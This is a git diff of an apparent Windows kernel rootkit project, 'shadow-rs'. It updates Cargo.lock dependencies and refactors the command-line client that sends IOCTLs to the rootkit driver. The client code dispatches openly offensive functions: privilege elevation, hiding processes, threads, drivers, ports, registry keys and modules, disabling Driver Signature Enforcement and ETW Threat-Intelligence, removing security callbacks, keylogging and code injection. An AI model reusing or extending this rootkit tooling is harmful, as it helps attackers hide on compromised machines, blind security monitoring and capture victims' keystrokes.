|
||||||
[[package]]
|
[[package]]
|
||||||
name = "syn"
|
name = "syn"
|
||||||
version = "2.0.77"
|
version = "1.0.109"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "9f35bcdf61fd8e7be6caf75f429fdca8beb3ed76584befb503b1569faee373ed"
|
checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"unicode-ident",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "syn"
|
||||||
|
version = "2.0.79"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "89132cd0bf050864e1d38dc3bbc07a0eb8e7530af26344d3d2bbbef83499f590"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"proc-macro2",
|
"proc-macro2",
|
||||||
"quote",
|
"quote",
|
||||||
@@ -453,7 +850,106 @@ dependencies = [
|
|||||||
"memchr",
|
"memchr",
|
||||||
"ntapi",
|
"ntapi",
|
||||||
"rayon",
|
"rayon",
|
||||||
"windows",
|
"windows 0.57.0",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "thiserror"
|
||||||
|
version = "1.0.64"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "d50af8abc119fb8bb6dbabcfa89656f46f84aa0ac7688088608076ad2b459a84"
|
||||||
|
dependencies = [
|
||||||
|
"thiserror-impl",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "thiserror-impl"
|
||||||
|
version = "1.0.64"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "08904e7672f5eb876eaaf87e0ce17857500934f4981c4a0ab2b4aa98baac7fc3"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn 2.0.79",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "thiserror-impl-no-std"
|
||||||
|
version = "2.0.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "58e6318948b519ba6dc2b442a6d0b904ebfb8d411a3ad3e07843615a72249758"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn 1.0.109",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "thiserror-no-std"
|
||||||
|
version = "2.0.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a3ad459d94dd517257cc96add8a43190ee620011bb6e6cdc82dafd97dfafafea"
|
||||||
|
dependencies = [
|
||||||
|
"thiserror-impl-no-std",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "thread_local"
|
||||||
|
version = "1.1.8"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "8b9ef9bad013ada3808854ceac7b46812a6465ba368859a37e2100283d2d719c"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"once_cell",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tracing"
|
||||||
|
version = "0.1.40"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef"
|
||||||
|
dependencies = [
|
||||||
|
"pin-project-lite",
|
||||||
|
"tracing-core",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tracing-core"
|
||||||
|
version = "0.1.32"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54"
|
||||||
|
dependencies = [
|
||||||
|
"once_cell",
|
||||||
|
"valuable",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tracing-log"
|
||||||
|
version = "0.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3"
|
||||||
|
dependencies = [
|
||||||
|
"log",
|
||||||
|
"once_cell",
|
||||||
|
"tracing-core",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tracing-subscriber"
|
||||||
|
version = "0.3.18"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "ad0f048c97dbd9faa9b7df56362b8ebcaa52adb06b498c050d2f4e32f90a7a8b"
|
||||||
|
dependencies = [
|
||||||
|
"matchers",
|
||||||
|
"nu-ansi-term",
|
||||||
|
"once_cell",
|
||||||
|
"regex",
|
||||||
|
"sharded-slab",
|
||||||
|
"smallvec",
|
||||||
|
"thread_local",
|
||||||
|
"tracing",
|
||||||
|
"tracing-core",
|
||||||
|
"tracing-log",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -469,10 +965,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
|||||||
checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821"
|
checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "wasm-bindgen"
|
name = "valuable"
|
||||||
version = "0.2.93"
|
version = "0.1.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "a82edfc16a6c469f5f44dc7b571814045d60404b55a0ee849f9bcfa2e63dd9b5"
|
checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wasm-bindgen"
|
||||||
|
version = "0.2.94"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "ef073ced962d62984fb38a36e5fdc1a2b23c9e0e1fa0689bb97afa4202ef6887"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"cfg-if",
|
"cfg-if",
|
||||||
"once_cell",
|
"once_cell",
|
||||||
@@ -481,24 +983,24 @@ dependencies = [
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "wasm-bindgen-backend"
|
name = "wasm-bindgen-backend"
|
||||||
version = "0.2.93"
|
version = "0.2.94"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "9de396da306523044d3302746f1208fa71d7532227f15e347e2d93e4145dd77b"
|
checksum = "c4bfab14ef75323f4eb75fa52ee0a3fb59611977fd3240da19b2cf36ff85030e"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"bumpalo",
|
"bumpalo",
|
||||||
"log",
|
"log",
|
||||||
"once_cell",
|
"once_cell",
|
||||||
"proc-macro2",
|
"proc-macro2",
|
||||||
"quote",
|
"quote",
|
||||||
"syn",
|
"syn 2.0.79",
|
||||||
"wasm-bindgen-shared",
|
"wasm-bindgen-shared",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "wasm-bindgen-macro"
|
name = "wasm-bindgen-macro"
|
||||||
version = "0.2.93"
|
version = "0.2.94"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "585c4c91a46b072c92e908d99cb1dcdf95c5218eeb6f3bf1efa991ee7a68cccf"
|
checksum = "a7bec9830f60924d9ceb3ef99d55c155be8afa76954edffbb5936ff4509474e7"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"quote",
|
"quote",
|
||||||
"wasm-bindgen-macro-support",
|
"wasm-bindgen-macro-support",
|
||||||
@@ -506,22 +1008,104 @@ dependencies = [
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "wasm-bindgen-macro-support"
|
name = "wasm-bindgen-macro-support"
|
||||||
version = "0.2.93"
|
version = "0.2.94"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "afc340c74d9005395cf9dd098506f7f44e38f2b4a21c6aaacf9a105ea5e1e836"
|
checksum = "4c74f6e152a76a2ad448e223b0fc0b6b5747649c3d769cc6bf45737bf97d0ed6"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"proc-macro2",
|
"proc-macro2",
|
||||||
"quote",
|
"quote",
|
||||||
"syn",
|
"syn 2.0.79",
|
||||||
"wasm-bindgen-backend",
|
"wasm-bindgen-backend",
|
||||||
"wasm-bindgen-shared",
|
"wasm-bindgen-shared",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "wasm-bindgen-shared"
|
name = "wasm-bindgen-shared"
|
||||||
version = "0.2.93"
|
version = "0.2.94"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "c62a0a307cb4a311d3a07867860911ca130c3494e8c2719593806c08bc5d0484"
|
checksum = "a42f6c679374623f295a8623adfe63d9284091245c3504bde47c17a3ce2777d9"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wdk"
|
||||||
|
version = "0.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "5e255fa09cb7395c5f9b8c72831347c9b77aa51fc66c3f44eb5d097a44122e9f"
|
||||||
|
dependencies = [
|
||||||
|
"wdk-build",
|
||||||
|
"wdk-sys",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wdk-alloc"
|
||||||
|
version = "0.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "00c3180aa54fa2e30ecfd52a9e40210e634c09f760658cf8793ef0bf2ee7d917"
|
||||||
|
dependencies = [
|
||||||
|
"wdk-sys",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wdk-build"
|
||||||
|
version = "0.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "78da0616ae3b04f9488d250e8b087b7b332e7f1f18b4c7bcedebf7aea6231594"
|
||||||
|
dependencies = [
|
||||||
|
"bindgen",
|
||||||
|
"cargo_metadata",
|
||||||
|
"clap",
|
||||||
|
"clap-cargo",
|
||||||
|
"rustversion",
|
||||||
|
"serde",
|
||||||
|
"serde_json",
|
||||||
|
"thiserror",
|
||||||
|
"windows 0.52.0",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wdk-macros"
|
||||||
|
version = "0.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "65a27743e45f2bacdc8a778482a52ea2fda527bdac95bad5086cee080441b2da"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn 2.0.79",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wdk-panic"
|
||||||
|
version = "0.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "6f56558972c0d7069aa3b2b409752e65db7ba3fd24fcffc3887d19b6e48585e4"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wdk-sys"
|
||||||
|
version = "0.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "36c6fbc666a0535164ebbb16cff321ee2cac38636aa6b9f1712148388f401087"
|
||||||
|
dependencies = [
|
||||||
|
"anyhow",
|
||||||
|
"bindgen",
|
||||||
|
"lazy_static",
|
||||||
|
"rustversion",
|
||||||
|
"thiserror",
|
||||||
|
"tracing-subscriber",
|
||||||
|
"wdk-build",
|
||||||
|
"wdk-macros",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "which"
|
||||||
|
version = "4.4.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "87ba24419a2078cd2b0f2ede2691b6c66d8e47836da3b6db8265ebad47afbfc7"
|
||||||
|
dependencies = [
|
||||||
|
"either",
|
||||||
|
"home",
|
||||||
|
"once_cell",
|
||||||
|
"rustix",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "winapi"
|
name = "winapi"
|
||||||
@@ -545,6 +1129,16 @@ version = "0.4.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
|
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows"
|
||||||
|
version = "0.52.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e48a53791691ab099e5e2ad123536d0fff50652600abaf43bbf952894110d0be"
|
||||||
|
dependencies = [
|
||||||
|
"windows-core 0.52.0",
|
||||||
|
"windows-targets 0.52.6",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows"
|
name = "windows"
|
||||||
version = "0.57.0"
|
version = "0.57.0"
|
||||||
@@ -584,7 +1178,7 @@ checksum = "9107ddc059d5b6fbfbffdfa7a7fe3e22a226def0b2608f72e9d552763d3e1ad7"
|
|||||||
dependencies = [
|
dependencies = [
|
||||||
"proc-macro2",
|
"proc-macro2",
|
||||||
"quote",
|
"quote",
|
||||||
"syn",
|
"syn 2.0.79",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -595,7 +1189,7 @@ checksum = "29bee4b38ea3cde66011baa44dba677c432a78593e202392d1e9070cf2a7fca7"
|
|||||||
dependencies = [
|
dependencies = [
|
||||||
"proc-macro2",
|
"proc-macro2",
|
||||||
"quote",
|
"quote",
|
||||||
"syn",
|
"syn 2.0.79",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@@ -625,6 +1219,15 @@ dependencies = [
|
|||||||
"windows-targets 0.52.6",
|
"windows-targets 0.52.6",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-sys"
|
||||||
|
version = "0.59.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b"
|
||||||
|
dependencies = [
|
||||||
|
"windows-targets 0.52.6",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows-targets"
|
name = "windows-targets"
|
||||||
version = "0.48.5"
|
version = "0.48.5"
|
||||||
|
|||||||
@@ -1,3 +1,3 @@
|
|||||||
[workspace]
|
[workspace]
|
||||||
members = ["client", "shared"]
|
members = ["client", "crates/common", "crates/shadowx"]
|
||||||
exclude = ["driver"]
|
exclude = ["driver"]
|
||||||
|
|||||||
@@ -1,17 +1,27 @@
|
|||||||
[package]
|
[package]
|
||||||
name = "shadow"
|
name = "shadow-rs"
|
||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
edition = "2021"
|
edition = "2021"
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
clap = { version = "4.5.6", features = ["derive"] }
|
|
||||||
windows-sys = { version = "0.52.0", features = ["Win32_Foundation", "Win32_Security", "Win32_Storage_FileSystem", "Win32_System_Diagnostics_Debug", "Win32_System_IO", "Win32_System_Memory", "Win32_System_Threading"] }
|
|
||||||
shared = { path = "../shared" }
|
|
||||||
log = "0.4.22"
|
log = "0.4.22"
|
||||||
env_logger = { version = "0.11.5" }
|
|
||||||
colored = "2.1.0"
|
colored = "2.1.0"
|
||||||
chrono = "0.4.38"
|
chrono = "0.4.38"
|
||||||
sysinfo = "0.31.4"
|
sysinfo = "0.31.4"
|
||||||
|
common = { path = "../crates/common" }
|
||||||
|
env_logger = { version = "0.11.5" }
|
||||||
|
clap = { version = "4.5.6", features = ["derive"] }
|
||||||
|
|
||||||
|
[dependencies.windows-sys]
|
||||||
|
version = "0.59.0"
|
||||||
|
features = [
|
||||||
|
"Win32_Foundation",
|
||||||
|
"Win32_Security",
|
||||||
|
"Win32_Storage_FileSystem",
|
||||||
|
"Win32_System_Diagnostics_Debug",
|
||||||
|
"Win32_System_IO", "Win32_System_Memory",
|
||||||
|
"Win32_System_Threading"
|
||||||
|
]
|
||||||
|
|
||||||
[features]
|
[features]
|
||||||
mapper = []
|
mapper = []
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
use {
|
use {
|
||||||
cli::*,
|
cli::*,
|
||||||
log::*,
|
log::*,
|
||||||
shared::ioctls::*,
|
common::ioctls::*,
|
||||||
utils::init_logger,
|
utils::init_logger,
|
||||||
clap::Parser,
|
clap::Parser,
|
||||||
};
|
};
|
||||||
@@ -33,33 +33,33 @@ fn main() {
|
|||||||
let mut process = Process::new();
|
let mut process = Process::new();
|
||||||
match sub_command {
|
match sub_command {
|
||||||
ProcessCommands::Elevate { pid } => {
|
ProcessCommands::Elevate { pid } => {
|
||||||
process.elevate_process(Some(pid), IOCTL_ELEVATE_PROCESS);
|
process.elevate_process(Some(pid), ELEVATE_PROCESS);
|
||||||
}
|
}
|
||||||
ProcessCommands::Hide { pid } => {
|
ProcessCommands::Hide { pid } => {
|
||||||
process.hide_unhide_process(Some(pid), IOCTL_HIDE_UNHIDE_PROCESS, true);
|
process.hide_unhide_process(Some(pid), HIDE_UNHIDE_PROCESS, true);
|
||||||
}
|
}
|
||||||
ProcessCommands::Unhide { pid } => {
|
ProcessCommands::Unhide { pid } => {
|
||||||
process.hide_unhide_process(Some(pid), IOCTL_HIDE_UNHIDE_PROCESS, false);
|
process.hide_unhide_process(Some(pid), HIDE_UNHIDE_PROCESS, false);
|
||||||
}
|
}
|
||||||
ProcessCommands::Terminate { pid } => {
|
ProcessCommands::Terminate { pid } => {
|
||||||
process.terminate_process(Some(pid), IOCTL_TERMINATE_PROCESS);
|
process.terminate_process(Some(pid), TERMINATE_PROCESS);
|
||||||
}
|
}
|
||||||
ProcessCommands::Signature { pid, pt, sg } => {
|
ProcessCommands::Signature { pid, pt, sg } => {
|
||||||
process.signature_process(Some(pid), IOCTL_SIGNATURE_PROCESS, sg, pt);
|
process.signature_process(Some(pid), SIGNATURE_PROCESS, sg, pt);
|
||||||
}
|
}
|
||||||
#[cfg(not(feature = "mapper"))]
|
#[cfg(not(feature = "mapper"))]
|
||||||
ProcessCommands::Protection { pid, add, remove } => {
|
ProcessCommands::Protection { pid, add, remove } => {
|
||||||
if *add {
|
if *add {
|
||||||
process.protection_process(Some(pid), IOCTL_PROTECTION_PROCESS, true);
|
process.protection_process(Some(pid), PROTECTION_PROCESS, true);
|
||||||
} else if *remove {
|
} else if *remove {
|
||||||
process.protection_process(Some(pid), IOCTL_PROTECTION_PROCESS, false);
|
process.protection_process(Some(pid), PROTECTION_PROCESS, false);
|
||||||
} else {
|
} else {
|
||||||
error!("No action provided");
|
error!("No action provided");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
ProcessCommands::Enumerate { list, type_ } => {
|
ProcessCommands::Enumerate { list, type_ } => {
|
||||||
if *list {
|
if *list {
|
||||||
process.enumerate_process(IOCTL_ENUMERATION_PROCESS, type_);
|
process.enumerate_process(ENUMERATION_PROCESS, type_);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}}
|
}}
|
||||||
@@ -68,24 +68,24 @@ fn main() {
|
|||||||
let thread = Thread::new();
|
let thread = Thread::new();
|
||||||
match sub_command {
|
match sub_command {
|
||||||
ThreadCommands::Hide { tid } => {
|
ThreadCommands::Hide { tid } => {
|
||||||
thread.hide_unhide_thread(Some(tid), IOCTL_HIDE_UNHIDE_THREAD, true);
|
thread.hide_unhide_thread(Some(tid), HIDE_UNHIDE_THREAD, true);
|
||||||
}
|
}
|
||||||
ThreadCommands::Unhide { tid } => {
|
ThreadCommands::Unhide { tid } => {
|
||||||
thread.hide_unhide_thread(Some(tid), IOCTL_HIDE_UNHIDE_THREAD, false);
|
thread.hide_unhide_thread(Some(tid), HIDE_UNHIDE_THREAD, false);
|
||||||
}
|
}
|
||||||
#[cfg(not(feature = "mapper"))]
|
#[cfg(not(feature = "mapper"))]
|
||||||
ThreadCommands::Protection { tid, add, remove } => {
|
ThreadCommands::Protection { tid, add, remove } => {
|
||||||
if *add {
|
if *add {
|
||||||
thread.protection_thread(Some(tid), IOCTL_PROTECTION_THREAD, true);
|
thread.protection_thread(Some(tid), PROTECTION_THREAD, true);
|
||||||
} else if *remove {
|
} else if *remove {
|
||||||
thread.protection_thread(Some(tid), IOCTL_PROTECTION_THREAD, false);
|
thread.protection_thread(Some(tid), PROTECTION_THREAD, false);
|
||||||
} else {
|
} else {
|
||||||
error!("No action provided");
|
error!("No action provided");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
ThreadCommands::Enumerate { list, type_ } => {
|
ThreadCommands::Enumerate { list, type_ } => {
|
||||||
if *list {
|
if *list {
|
||||||
thread.enumerate_thread(IOCTL_ENUMERATION_THREAD, type_);
|
thread.enumerate_thread(ENUMERATION_THREAD, type_);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -95,16 +95,16 @@ fn main() {
|
|||||||
let driver = Driver::new();
|
let driver = Driver::new();
|
||||||
if *hide {
|
if *hide {
|
||||||
match name {
|
match name {
|
||||||
Some(name) => driver.unhide_hide_driver(IOCTL_HIDE_UNHIDE_DRIVER, name, true),
|
Some(name) => driver.unhide_hide_driver(HIDE_UNHIDE_DRIVER, name, true),
|
||||||
None => error!("No action provided for driver.")
|
None => error!("No action provided for driver.")
|
||||||
}
|
}
|
||||||
} else if *unhide {
|
} else if *unhide {
|
||||||
match name {
|
match name {
|
||||||
Some(name) => driver.unhide_hide_driver(IOCTL_HIDE_UNHIDE_DRIVER, name, false),
|
Some(name) => driver.unhide_hide_driver(HIDE_UNHIDE_DRIVER, name, false),
|
||||||
None => error!("No action provided for driver.")
|
None => error!("No action provided for driver.")
|
||||||
}
|
}
|
||||||
} else if *list {
|
} else if *list {
|
||||||
driver.enumerate_driver(IOCTL_ENUMERATE_DRIVER);
|
driver.enumerate_driver(ENUMERATE_DRIVER);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -113,19 +113,19 @@ fn main() {
|
|||||||
match sub_command {
|
match sub_command {
|
||||||
MisCommands::DSE { disable, enable } => {
|
MisCommands::DSE { disable, enable } => {
|
||||||
if *enable {
|
if *enable {
|
||||||
misc.dse(IOCTL_ENABLE_DSE, true);
|
misc.dse(ENABLE_DSE, true);
|
||||||
} else if *disable {
|
} else if *disable {
|
||||||
misc.dse(IOCTL_ENABLE_DSE, false);
|
misc.dse(ENABLE_DSE, false);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
MisCommands::Keylogger { file } => {
|
MisCommands::Keylogger { file } => {
|
||||||
misc.keylogger(IOCTL_KEYLOGGER, file);
|
misc.keylogger(KEYLOGGER, file);
|
||||||
}
|
}
|
||||||
MisCommands::Etwti { disable, enable } => {
|
MisCommands::Etwti { disable, enable } => {
|
||||||
if *enable {
|
if *enable {
|
||||||
misc.etwti(IOCTL_ETWTI, true);
|
misc.etwti(ETWTI, true);
|
||||||
} else if *disable {
|
} else if *disable {
|
||||||
misc.etwti(IOCTL_ETWTI, false);
|
misc.etwti(ETWTI, false);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -134,9 +134,9 @@ fn main() {
|
|||||||
Commands::Port { hide, unhide, protocol, type_, port_number } => {
|
Commands::Port { hide, unhide, protocol, type_, port_number } => {
|
||||||
let port = Port::new();
|
let port = Port::new();
|
||||||
if *hide {
|
if *hide {
|
||||||
port.hide_unhide_port(IOCTL_PORT, *protocol, *type_, *port_number, true);
|
port.hide_unhide_port(PORT, *protocol, *type_, *port_number, true);
|
||||||
} else if *unhide {
|
} else if *unhide {
|
||||||
port.hide_unhide_port(IOCTL_PORT, *protocol, *type_, *port_number, false);
|
port.hide_unhide_port(PORT, *protocol, *type_, *port_number, false);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -149,25 +149,25 @@ fn main() {
|
|||||||
error!("Both add and remove options cannot be specified at the same time");
|
error!("Both add and remove options cannot be specified at the same time");
|
||||||
} else if *add {
|
} else if *add {
|
||||||
match name {
|
match name {
|
||||||
Some(ref name) => registry.registry_protection(IOCTL_REGISTRY_PROTECTION_VALUE, name, key, true),
|
Some(ref name) => registry.registry_protection(REGISTRY_PROTECTION_VALUE, name, key, true),
|
||||||
None => registry.registry_protection(IOCTL_REGISTRY_PROTECTION_KEY, &"".to_string(), key, true),
|
None => registry.registry_protection(REGISTRY_PROTECTION_KEY, &"".to_string(), key, true),
|
||||||
}
|
}
|
||||||
} else if *remove {
|
} else if *remove {
|
||||||
match name {
|
match name {
|
||||||
Some(ref name) => registry.registry_protection(IOCTL_REGISTRY_PROTECTION_VALUE, name, key, false),
|
Some(ref name) => registry.registry_protection(REGISTRY_PROTECTION_VALUE, name, key, false),
|
||||||
None => registry.registry_protection(IOCTL_REGISTRY_PROTECTION_KEY, &"".to_string(), key, false)
|
None => registry.registry_protection(REGISTRY_PROTECTION_KEY, &"".to_string(), key, false)
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
error!("Either add or remove must be specified");
|
error!("Either add or remove must be specified");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
RegistryCommands::Hide { key, value } => match value {
|
RegistryCommands::Hide { key, value } => match value {
|
||||||
Some(ref value) => registry.registry_hide_unhide(IOCTL_HIDE_UNHIDE_VALUE, value, key, true),
|
Some(ref value) => registry.registry_hide_unhide(HIDE_UNHIDE_VALUE, value, key, true),
|
||||||
None => registry.registry_hide_unhide(IOCTL_HIDE_UNHIDE_KEY, &"".to_string(), key, true)
|
None => registry.registry_hide_unhide(HIDE_UNHIDE_KEY, &"".to_string(), key, true)
|
||||||
},
|
},
|
||||||
RegistryCommands::Unhide { key, value } => match value {
|
RegistryCommands::Unhide { key, value } => match value {
|
||||||
Some(ref value) => registry.registry_hide_unhide(IOCTL_HIDE_UNHIDE_VALUE, value, key, false),
|
Some(ref value) => registry.registry_hide_unhide(HIDE_UNHIDE_VALUE, value, key, false),
|
||||||
None => registry.registry_hide_unhide(IOCTL_HIDE_UNHIDE_KEY, &"".to_string(), key, false),
|
None => registry.registry_hide_unhide(HIDE_UNHIDE_KEY, &"".to_string(), key, false),
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -175,26 +175,26 @@ fn main() {
|
|||||||
Commands::Module { sub_command } => {
|
Commands::Module { sub_command } => {
|
||||||
let module = Module::new();
|
let module = Module::new();
|
||||||
match sub_command {
|
match sub_command {
|
||||||
ModuleCommands::Enumerate { pid } => module.enumerate_module(IOCTL_ENUMERATE_MODULE, pid),
|
ModuleCommands::Enumerate { pid } => module.enumerate_module(ENUMERATE_MODULE, pid),
|
||||||
ModuleCommands::Hide { name, pid } => module.hide_module(IOCTL_HIDE_MODULE, name, *pid),
|
ModuleCommands::Hide { name, pid } => module.hide_module(HIDE_MODULE, name, *pid),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
Commands::Callback {list, enumerate, remove, restore, callback} => {
|
Commands::Callback {list, enumerate, remove, restore, callback} => {
|
||||||
let callbacks = Callback::new();
|
let callbacks = Callback::new();
|
||||||
if *list {
|
if *list {
|
||||||
callbacks.enumerate_callback(IOCTL_ENUMERATE_CALLBACK, callback);
|
callbacks.enumerate_callback(ENUMERATE_CALLBACK, callback);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
if *enumerate {
|
if *enumerate {
|
||||||
callbacks.enumerate_callback(IOCTL_ENUMERATE_REMOVED_CALLBACK, callback);
|
callbacks.enumerate_callback(ENUMERATE_REMOVED_CALLBACK, callback);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
match (remove, restore) {
|
match (remove, restore) {
|
||||||
(Some(index), None) => callbacks.remove_callback(*index, IOCTL_REMOVE_CALLBACK, callback),
|
(Some(index), None) => callbacks.remove_callback(*index, REMOVE_CALLBACK, callback),
|
||||||
(None, Some(index)) => callbacks.restore_callback(*index, IOCTL_RESTORE_CALLBACK, callback),
|
(None, Some(index)) => callbacks.restore_callback(*index, RESTORE_CALLBACK, callback),
|
||||||
(Some(_), Some(_)) => error!("Cannot remove and restore at the same time"),
|
(Some(_), Some(_)) => error!("Cannot remove and restore at the same time"),
|
||||||
(None, None) => error!("No action provided for callback")
|
(None, None) => error!("No action provided for callback")
|
||||||
}
|
}
|
||||||
@@ -204,12 +204,12 @@ fn main() {
|
|||||||
let injection = Injection::new();
|
let injection = Injection::new();
|
||||||
match sub_command {
|
